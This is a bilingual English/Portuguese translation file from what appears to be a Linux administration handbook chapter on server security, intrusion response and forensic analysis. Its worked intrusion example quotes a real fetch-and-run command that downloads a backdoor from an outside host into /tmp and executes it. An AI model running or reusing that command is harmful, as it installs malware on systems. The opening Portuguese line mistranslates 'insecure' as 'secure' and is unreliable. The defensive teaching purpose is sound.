en: When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />
pt-BR: Quando um programa insere dados em consultas SQL de uma maneira segura, torna-se vulnerável a SQL injections; este nome abrange o ato de alterar um parâmetro de tal forma que a consulta real executada pelo programa é diferente da pretendida, quer para danificar o banco de dados ou de acesso aos dados que normalmente não devem ser acessíveis. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />

en: Knowing What To Expect
pt-BR: Sabendo O Que Esperar

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
pt-BR: A vulnerabilidade em uma aplicação web é frequentemente utilizada como ponto de partida para as tentativas de craqueamento. O que se segue são uma breve revisão das possíveis consequências.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
pt-BR: <emphasis>OLHADA RÁPIDA</emphasis> Filtrando consultas HTTP

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
pt-BR: Apache 2 inclui módulos que permitindo a filtragem da entrada de consultas HTTP. Isto permite o bloqueio de alguns vetores de ataque. Por exemplo, limitando a duração dos parâmetros pode impedir o estouro do buffer. Mais genericamente, pode se validar os parâmetros antes mesmo que eles passem para a aplicação web e restringir o acesso ao longo de muitos critérios. Isso pode até ser combinado com atualizações dinâmicas do firewall, de modo que se um cliente violar uma das regras é proibido de acessar o servidor web por um determinado tempo.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
pt-BR: Configurando estas verificações podem ser uma tarefa longa e complicada, mas pode pagar quando a aplicação web a ser implantada tiver um histórico duvidoso, onde a segurança é interesse.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
pt-BR: <emphasis>mod-security2</emphasis> (no pacote <emphasis role="pkg">libapache2-mod-security2</emphasis>) é o tal módulo principal. Ele até mesmo vem com muitas regras prontas-para-uso próprias (no pacote <emphasis role="pkg">modsecurity-crs</emphasis>) que você pode facilmente habilitar.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
pt-BR: Um atacante mais avançado vai além disso. Um cenário de desastre poderia continuar da seguinte maneira: o atacante ganha a habilidade de executar comandos como o usuário <literal>www-data</literal>, mas a execução de um comando requer muitas manipulações. Para tornar sua vida mais fácil, eles instalam outras aplicações web especialmente concebidas para executar remotamente vários tipos de comandos, como a navegação no sistema de arquivos, examinando as permissões de upload, ou download de arquivos, execução de comandos, e até mesmo fornecer um escudo de rede. Muitas vezes, a vulnerabilidade permite execução de um <command>wget</command> que vai baixar algum malware em <filename>/tmp/</filename>, então o executa. O malware geralmente é baixado de um site estrangeiro que foi previamente comprometido, a fim de cobrir faixas e tornar mais difícil encontrar a verdadeira origem do ataque.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
pt-BR: Neste ponto, o invasor tem bastante liberdade de movimento que muitas vezes instalar um IRC <emphasis>bot</emphasis> (um robô que se conecta a um servidor IRC e pode ser controlado por este canal). Este robô é frequentemente usado para compartilhamento de arquivos ilegais (cópias não autorizadas de filmes ou software, entre outros). Um determinado invasor pode querer ir ainda mais longe. A conta <literal>www-data</literal> não permite o acesso total à máquina, e o invasor vai tentar obter privilégios de administrador. Ora, isso não deve ser possível, mas se a aplicação web não está atualizada, as chances são de que os programas do kernel e outros também estejam desatualizados, o que às vezes se segue uma decisão do administrador que, apesar de saber sobre a vulnerabilidade, negligenciado para atualizar o sistema, pois não existem usuários locais. O atacante pode então aproveitar essa segunda vulnerabilidade para obter acesso root.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
pt-BR: <emphasis>VOCABULARIO</emphasis> Escalonamento de Privilégios

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
pt-BR: Este termo abrange qualquer coisa que pode ser usada para obter as permissões de mais do que um determinado utilizador deve ter normalmente. O programa <command>sudo</command> é projetado justamente com o proposito de dar direitos administrativos para alguns usuários. Mas o termo também é usado para descrever o ato de um invasor explorar uma vulnerabilidade para obter direitos indevidos.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
pt-BR: Este é um cenário de pesadelo pode ser evitado através de várias medidas. As próximas seções descrevem algumas dessas medidas.

en: Choosing the Software Wisely
pt-BR: Escolhendo o Software Sabiamente

en: <emphasis>VOCABULARY</emphasis> Security audit
pt-BR: <emphasis>VOCABULÁRIO</emphasis> Auditoria de Segurança

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
pt-BR: A auditoria de segurança é o processo de leitura cuidadosa e analise do código fonte de algum software, procurando por vulnerabilidades de segurança em potencial que poderiam conter. Estas auditorias são geralmente pró-ativas e são realizadas para garantir que um programa atenda aos requisitos de segurança determinados.

en: In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
pt-BR: No mundo do software livre, geralmente há um amplo espaço para a escolha, e escolher um pedaço de software em detrimento de outro deve ser uma decisão com base nos critérios que se aplicam localmente. Mais características implicam num aumento do risco de um vulnerabilidade escondida no código; escolher o programa mais avançado para uma tarefa pode realmente ser contraproducente, e uma melhor abordagem é, geralmente, para escolher o programa mais simples que atenda aos requisitos.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
pt-BR: <emphasis>VOCABULARIO</emphasis> Zero-day exploit

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
pt-BR: Um ataque <emphasis>zero-day exploit</emphasis> é difícil de evitar, o termo abrange uma vulnerabilidade que ainda não é conhecida pelos autores do programa.

en: Managing a Machine as a Whole
pt-BR: Gerenciando uma Máquina como um Todo

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
pt-BR: A maioria das distribuições Linux instalam por padrão uma série de serviços Unix e muitas ferramentas. Em muitos casos, estes serviços e ferramentas não são necessários para os fins de reais para que o administrador configure a máquina. Como orientação geral em matéria de segurança, softwares desnecessários é melhor desinstalado. Na verdade, não tem sentido garantir um servidor FTP, se uma vulnerabilidade em um serviço diferente, não utilizado pode ser usado para obter privilégios de administrador na máquina inteira.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
pt-BR: Seguindo o mesmo raciocínio, firewalls, frequentemente sao configurados para permitir apenas acesso aos serviços que se destinam a ser acessíveis ao público.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
pt-BR: Computadores atuais são poderosos o suficiente para permitir a hospedagem de vários serviços na mesma máquina física. De um ponto de vista econômico, uma tal possibilidade é interessante: um só computador para administrar, menor consumo de energia, e assim por diante. Do ponto de vista da segurança, no entanto, esta escolha pode ser um problema. Um serviço comprometido pode levar o acesso a toda a máquina, que por sua vez compromete os outros serviços hospedados no mesmo computador. Este risco pode ser atenuado através do isolamento dos serviços. Isto pode ser alcançado tanto com virtualização (cada serviço sendo hospedado em uma máquina virtual dedicada ou um container), ou com o AppArmor/SELinux (cada serviço daemon tendo um conjunto de permissões adequadamente projetado).

en: Users Are Players
pt-BR: Os Usuários São Jogadores

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
pt-BR: Discutir segurança imediatamente traz à mente proteção contra ataques de crackers anônimos escondidos na selva da Internet, mas um fato muitas vezes esquecido é que corre o risco de vir também de dentro: um funcionário prestes a deixar a empresa poderia baixar arquivos confidenciais sobre os projetos importantes e vendê-los aos concorrentes, um vendedor de negligente poderia deixar sua mesa sem bloquear a sessão durante um encontro com uma nova perspectiva, um usuário desajeitado poderia excluir o diretório errado por engano, e assim por diante.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
pt-BR: A resposta a estes riscos podem envolver soluções técnicas: não mais do que as permissões necessárias devem ser concedidas aos usuários, e backups regulares são uma obrigação. Mas em muitos casos, a proteção adequada vai envolver treinamento de usuários para evitar os riscos.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
pt-BR: <emphasis>OLHADA RÁPIDA</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
pt-BR: O pacote <emphasis role="pkg">autolog</emphasis> fornece um programa que desconecta automaticamente usuários inativos depois de um atraso configurável. Ele também permite matar processos de usuário que persistem após o término da sessão, impedindo os usuários de executar daemons.

en: Physical Security
pt-BR: Segurança física

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
pt-BR: Não faz sentido garantir os serviços e redes, se os próprios computadores não estiverem protegidos. Dados importantes merecem ser armazenados em discos rígidos hot-swappable em RAID, por que discos rígidos falham eventualmente e a disponibilidade dos dados é um ponto obrigatório. Mas se qualquer entregador de pizza pode entrar no prédio furtivo, na sala do servidor e fugir com alguns discos rígidos, uma parte importante da segurança não está cumprida. Quem pode entrar na sala do servidor? O acesso está monitorado? Estas questões merecem ser consideradas (e uma resposta) quando a segurança física está sendo avaliada.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
pt-BR: A segurança física inclui levar em consideração também os riscos de acidentes, como incêndios. Este risco particular é o que justifica armazenar as mídias de backup em um prédio separado, ou pelo menos em um cofre à prova de fogo.

en: Legal Liability
pt-BR: Responsabilidade legal

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
pt-BR: Um administrador tem, mais ou menos implicitamente, a confiança de seus usuários, bem como os usuários da rede em geral. Eles devem, portanto, evitar a negligência que as pessoas malignas poderiam explorar.

en: An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
pt-BR: Um invasor assume o controle da sua máquina, em seguida, a utiliza como uma base para avançar (conhecido como “relay system - sistema de revezamento") a partir da qual realizar outras atividades nefastas pode causar problemas legais para você, uma vez que a parte que atacou inicialmente iria ver o ataque proveniente de seu sistema e, portanto, considerá-lo como o atacante (ou como cúmplice). Em muitos casos, o atacante usará o servidor como um relé para enviar spam, que não deve ter muito impacto (exceto possivelmente registro em listas negras que poderiam restringir a sua capacidade de enviar e-mails legítimos), mas não vai ser agradável, no entanto. Em outros casos, o problema mais importante pode ser causado a partir de sua máquina, por exemplo, seria ataques de negação de serviço. Isso, às vezes, induz a perda de receitas, uma vez que os serviços legítimos não estará disponível e os dados podem ser destruídos, às vezes isso também implicaria um custo real, porque a parte atacada pode iniciar um processo judicial contra você. Os detentores dos direitos podem processá-lo se uma cópia não autorizada de uma obra protegida por direitos autorais é compartilhada a partir do servidor, bem como outras empresas obrigadas por acordos de nível de serviço, se eles são obrigados a pagar multas após o ataque de sua máquina.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
pt-BR: Quando estas situações ocorrem, afirmar inocência não é geralmente suficiente; no mínimo, você vai precisar de provas convincentes que mostram a atividade suspeita em seu sistema que vem de um determinado endereço IP. Isso não será possível se você negligenciar as recomendações deste capítulo e deixar o invasor obter acesso a uma conta privilegiada (root, em particular) e usá la para cobrir seus rastros.

en: Dealing with a Compromised Machine
pt-BR: Lidando com uma máquina comprometida

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
pt-BR: Apesar das melhores intenções e por mais cuidadosamente concebido política da segurança, um administrador, eventualmente, enfrenta um ato de desvio. Esta seção fornece algumas orientações sobre como reagir quando confrontado com estas circunstâncias infelizes.

en: Detecting and Seeing the Cracker's Intrusion
pt-BR: Detectando e Visualizando a Intrusão do cracker

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
pt-BR: A primeira etapa de reagir a quebra é estar ciente de tal ato. Isso não é auto-evidente, especialmente sem uma infra-estrutura adequada de vigilância.

en: Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:
pt-BR: Atos de "cracking" muitas vezes não são detectados até que eles têm consequências diretas sobre os serviços legítimos hospedados na máquina, como conexões debilitadas, alguns usuários incapazes de se conectar, ou qualquer outro tipo de avaria. Diante desses problemas, o administrador precisa dar uma boa olhada para a máquina e examinar cuidadosamente o que se comporta mal. Este é geralmente o momento em que eles descobrem um processo incomum, por exemplo, um chamado <literal>apache</literal> em vez do padrão <literal>/usr/sbin/apache2</literal>. Se seguirmos esse exemplo, a coisa a fazer é observar seu identificador de processo, e verificar <filename>/proc/<replaceable>pid</replaceable>/exe</filename> para ver qual programa está executando este processo atualmente:

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
pt-BR: Um programa instalado em <filename>/var/tmp/</filename> e funcionando como servidor web? Sem deixar dúvida, a máquina está comprometida.

en: This is only one example, but many other hints can ring the administrator's bell:
pt-BR: Este é apenas um exemplo, mas muitas outras dicas podem alertar o administrador:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
pt-BR: uma opção para um comando que não funciona mais; a versão do software que o comando pretende ser não coincide com a versão que está supostamente instalada de acordo com <command>dpkg</command>;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
pt-BR: um prompt de comando ou uma sessão de saudação indicando que a última conexão veio de um servidor desconhecido em outro continente;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
pt-BR: erros causados pela partição <filename>/tmp/</filename> estar cheia, o que acabou por estar cheio de cópias ilegais de filmes;

en: and so on.
pt-BR: entre outros.

en: Putting the Server Off-Line
pt-BR: Colocando o servidor Off-Line

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
pt-BR: Em qualquer dos casos porém, os mais exóticos, a quebra vem da rede, e o invasor precisa de uma rede trabalhando para alcançar as suas metas (acesso a dados confidenciais, compartilhar arquivos clandestinos, ocultar a sua identidade utilizando a máquina como de um retransmissor e assim sucessivamente). Desconectar o computador da rede impedirá que o atacante alcance esses objetivos, se eles não conseguiram fazer isso ainda.

en: This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> and <xref linkend="sect.reconstituting-the-attack-scenario" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
pt-BR: Isso só é possível se o servidor está fisicamente acessível. Quando o servidor está hospedado em uma hospedagem no centro provedor de dados do outro lado do país, ou se o servidor não está acessível por qualquer outro motivo, é geralmente uma boa ideia começar a reunir alguma informação importante (ver <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> e <xref linkend="sect.reconstituting-the-attack-scenario" />), então isolar o servidor tanto quanto possível, fechando tantos serviços quanto possível (geralmente tudo, menos o <command>sshd</command>). Este caso ainda é estranho, pois não se pode descartar a possibilidade de o atacante ter acesso SSH como o administrador tem, o que torna mais difícil "limpar" as máquinas.

en: Keeping Everything that Could Be Used as Evidence
pt-BR: Mantendo Tudo que Poderia Ser Usado como Evidência

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
pt-BR: Compreender o ataque e/ou ação legal contra os atacantes envolvente requer uma tomada de cópias de todos os elementos relevantes, o que inclui o conteúdo do disco rígido, uma lista de todos os processos em execução, e uma lista de todas conexões abertas. O conteúdo da memória RAM também poderia ser usado, mas é raramente utilizado na prática.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
pt-BR: No calor da ação, os administradores são muitas vezes tentados a realizar muitas verificações na máquina comprometida; esta geralmente não é uma boa ideia. Cada comando é potencialmente subvertido e pode apagar elementos de prova. Os cheques devem ser restritas ao conjunto mínimo (<command>netstat -tupan</command> para conexões de rede, <command>ps auxf</command> para uma lista de processos, <command>ls -alR /proc/[0-9]*</command> para um pouco mais de informação sobre a execução de programas), e cada seleção realizada deve ser cuidadosamente anotada.

en: <emphasis>CAUTION</emphasis> Hot analysis
pt-BR: <emphasis>ATENÇÃO</emphasis> Analise Quente

en: While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!
pt-BR: Embora possa parecer tentador analisar o sistema como ele executa, especialmente quando o servidor não é fisicamente acessível, este é melhor evitar: simplesmente você não pode confiar nos programas instalados no sistema comprometido. É bem possível que um subvertido comando <command>ps</command> para esconder alguns processos, ou para um comando <command>ls</command> subvertido para esconder arquivos, às vezes até mesmo o kernel é comprometido!

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
pt-BR: Se uma análise tão quente ainda é necessária, deve ser tomado o cuidado de usar somente os bons programas conhecidos. Uma boa maneira de fazer isso seria ter um CD de recuperação com programas imaculados, ou um compartilhamento de rede somente leitura. No entanto, mesmo essas contramedidas podem não ser suficientes se o kernel em si está comprometido.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
pt-BR: Uma vez que os elementos "dinâmicos" foram salvos, o próximo passo é armazenar uma imagem completa do disco rígido. Fazer tal imagem é impossível se o sistema ainda está executando, é por isso que deve ser remontado somente para leitura. A solução mais simples é muitas vezes parar o servidor brutalmente (após a execução de <command>sync</command>) e reiniciá-lo em um CD de recuperação. Cada partição deve ser copiada com uma ferramenta como o <command>dd</command>, estas imagens podem ser enviadas para outro servidor (possivelmente com a muito conveniente ferramenta <command>nc</command>). Outra possibilidade pode ser ainda mais simples: é só pegar o disco da máquina e substituí-lo por um novo que pode ser reformatado e reinstalado.

en: Re-installing
pt-BR: Reinstalando

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
pt-BR: O servidor não deve ser trazido de volta em linha sem uma reinstalação completa. Se o comprometimento foi grave (se privilégios administrativos foram obtidos), não há quase nenhuma outra maneira de ter certeza de que estamos livres de tudo o que o invasor pode ter deixado para trás (particularmente <emphasis>backdoors</emphasis>). Naturalmente, todas últimas atualizações de segurança devem também ser aplicadas de modo a conectar a vulnerabilidade utilizada pelo invasor. O ideal, analisando o ataque deve apontar para este vetor de ataque, para que se possa ter certeza de efetivamente corrigi-lo, caso contrário, só se pode esperar que a vulnerabilidade foi um daqueles fixados pelas atualizações.

en: Forensic Analysis
pt-BR: Analise Fonrense

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
pt-BR: Agora que o serviço foi restaurado, é hora de dar uma olhada nas imagens de disco do sistema comprometido a fim de compreender o vetor de ataque. Ao montar essas imagens, deve se tomar cuidado e usar as opções <literal>ro, nodev, noexec, noatime</literal> de modo a evitar alteração dos conteúdos (incluindo marcas de tempo de acesso a arquivos) ou a execução de programas comprometidos por engano.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
pt-BR: Refazendo um cenário de ataque geralmente envolve olhar para tudo o que foi modificado e executado:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
pt-BR: arquivos <filename>.bash_history</filename> muitas vezes prevem uma leitura muito interessante;

en: so does listing files that were recently created, modified or accessed;
pt-BR: o mesmo acontece listando arquivos que foram recentemente criados, modificados ou acessados;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
pt-BR: o comando <command>strings</command> ajuda a identificar programas instalados pelo atacante, extraindo seqüências de texto de um binário;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
pt-BR: os arquivos de log em <filename>/var/log/</filename> muitas vezes permitem reconstruir uma cronologia dos eventos;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
pt-BR: ferramentas special-purpose também permitem restaurar o conteúdo de arquivos potencialmente excluídos, incluindo arquivos de log que os atacantes muitas vezes excluíram.

en: Reconstituting the Attack Scenario
pt-BR: Reconstituindo o Cenário do Ataque

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
pt-BR: Todos os elementos recolhidos durante a análise devem se encaixar como peças de um quebra-cabeça, a criação dos primeiros arquivos suspeitos é muitas vezes relacionada aos registros que comprovam a violação. A exemplo do mundo real deve ser mais explícito do que longas divagações teóricas.

en: The following log is an extract from an Apache <filename>access.log</filename>:
pt-BR: O registo seguinte foi extraído de um Apache <filename>access.log</filename>:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
pt-BR: Decodificar esta longa URL leva ao entendimento de que o atacante conseguiu executar algum código PHP, chamado: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Na verdade, um arquivo <filename>bd</filename> foi encontrado em <filename>/tmp/</filename>. Executando <command>strings /mnt/tmp/bd</command> retorna, entre outros textos, <literal>PsychoPhobia Backdoor is starting...</literal> Isso realmente parece um backdoor.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
pt-BR: Algum tempo depois, esse acesso foi usado para fazer o download, instalar e executar um <emphasis>bot - robô</emphasis> de IRC, conectado a uma rede IRC subterrânea. O robô pode então ser controlado através deste protocolo e instruído realizar download de arquivos para compartilhamento. Este programa ainda tem o seu próprio arquivo de log:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
pt-BR: Esses registros mostram que dois arquivos de vídeo foram armazenados no servidor por meio do endereço IP 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
pt-BR: Paralelamente, o invasor também baixou um par de arquivos extras, <filename>/tmp/pt </filename> e <filename>/tmp/loginx </filename>. A execução desses arquivos por meio de <command>strings</command> leva a strings como <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> e <foreignphrase>Now wait for suid shell...</foreignphrase>. Parecem programas que exploram vulnerabilidades locais para obter privilégios administrativos. Eles alcançaram seu alvo? Nesse caso, provavelmente não, uma vez que nenhum arquivo parece ter sido modificado após a violação inicial.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
pt-BR: Neste exemplo, a intrusão toda foi reconstruída, e pode-se deduzir que o invasor foi capaz de tirar vantagem do sistema comprometido por cerca de três dias, mas o elemento mais importante na análise é que a vulnerabilidade tenha sido identificada, e o administrador pode esta certo de que a nova instalação realmente corrigiu a vulnerabilidade.
